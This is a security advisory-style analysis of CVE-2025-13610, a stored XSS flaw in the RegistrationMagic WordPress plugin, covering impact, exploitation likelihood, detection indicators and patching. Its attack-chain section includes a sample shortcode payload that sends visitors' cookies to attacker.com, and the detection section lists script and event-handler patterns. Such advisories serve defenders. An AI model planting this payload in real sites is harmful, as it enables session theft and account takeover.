CVE-2025-13610: 
WordPress vulnerability analysis and mitigation

CVE-2025-13610 is a Stored Cross-Site Scripting (XSS) vulnerability in the RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login plugin for WordPress. It affects all versions up to and including 6.0.6.7, and was disclosed on December 15, 2025, by Wordfence. The flaw resides in the RM_Forms shortcode's theme attribute, which lacks sufficient input sanitization and output escaping. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). Specifically, the plugin's RM_Forms shortcode fails to sanitize the theme attribute before rendering it in page output, allowing arbitrary JavaScript to be stored and later executed in victims' browsers. An authenticated attacker with at minimum contributor-level access can embed a malicious shortcode in a post or page; the injected script executes for every user who subsequently visits that page. A patch was committed to the WordPress plugin repository (changeset 3414853) (WordPress Trac, Wordfence).

Successful exploitation allows an attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all visitors to those pages. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of site content. While the vulnerability does not directly affect availability, the confidentiality and integrity impacts are meaningful — particularly on sites with high visitor traffic or sensitive user data — and could facilitate account takeover of site administrators if their sessions are hijacked (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13610. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability requires authenticated access at contributor level or above, which limits the attack surface compared to unauthenticated flaws. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the RegistrationMagic plugin at version 6.0.6.7 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert the RM_Forms shortcode with a malicious payload in the theme attribute, e.g., [RM_Forms id='1' theme='<script>document.location="https://attacker.com/steal?c="+document.cookie</script>'].
4. Publish the page: Submit or publish the post/page containing the injected shortcode. The malicious script is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the affected page, the injected JavaScript executes in their browser, potentially stealing session cookies or performing actions on their behalf (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing RM_Forms shortcode with unusual theme attribute values including <script> tags or encoded JavaScript.
• Database: WordPress wp_posts table entries containing [RM_Forms shortcode with theme attribute values that include JavaScript payloads or HTML event handlers (e.g., onerror=, onload=, <script>).
• Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages containing RM_Forms shortcodes, potentially indicating cookie exfiltration or redirect activity.
• File System: Review plugin files in wp-content/plugins/custom-registration-form-builder-with-submission-manager/ for unauthorized modifications if a supply-chain compromise is suspected.

WordPress site administrators should update the RegistrationMagic plugin to version 6.0.6.8 or later, which includes the fix committed in changeset 3414853 to the WordPress plugin repository. As a temporary workaround, restrict contributor-level user registration or disable the ability for contributors to publish posts containing the RM_Forms shortcode until the patch is applied. Sites using a Web Application Firewall (WAF) such as Wordfence can leverage existing XSS rules to block exploitation attempts in the interim (WordPress Trac, Wordfence).

The vulnerability was discovered and reported by Wordfence, which published the advisory on December 15, 2025. Coverage has been limited to automated vulnerability aggregation platforms such as VulDB, Vulners, and CIRCL, with no notable independent researcher commentary or significant social media discussion identified. The low EPSS score and medium CVSS rating have kept community attention minimal (Wordfence).